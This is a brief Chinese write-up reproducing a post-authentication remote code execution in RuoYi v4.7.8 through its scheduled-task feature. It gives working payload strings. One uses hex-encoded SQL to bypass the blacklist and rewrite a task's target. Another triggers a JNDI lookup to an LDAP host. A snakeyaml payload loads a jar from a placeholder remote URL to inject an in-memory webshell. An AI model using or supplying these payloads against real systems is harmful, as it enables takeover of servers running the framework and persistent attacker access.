RuoYi v4.7.8 后台RCE
声明
本文版权归原作者所有,未经允许禁止转载。
漏洞原理
利用定时任务功能执行指定函数。
影响版本
v4.7.8
前提条件
获取后台权限。
漏洞复现
javax.naming.InitialContext
创建 2 个任务
ryTask.ryParams('ry')
* * * * * ?

task1 任务ID: 102
task2 任务ID: 103
修改任务一的目标字符串
执行以下字符串,利用 hex 绕过黑名单:
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = <hex> WHERE job_id = 103;')Hex 部分填写以下内容 Hex 编码后的结果:
javax.naming.InitialContext.lookup('ldap://xxxxx')执行任务一,任务二已经被修改为恶意字符串:

执行任务二即可 JNDI 注入,注意 JDK 版本,高版本有部分限制:

org.yaml.snakeyaml
远程加载 jar 包注入内存马
利用 snakeyaml 远程加载 jar 包进行 RCE。
更换 hex payload:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://x.x.x.x/xxx.jar"]]]]')利用 javachains 的 snakeyaml 字节码转 jar 包流注入内存马:

更换 URL 地址执行即可:
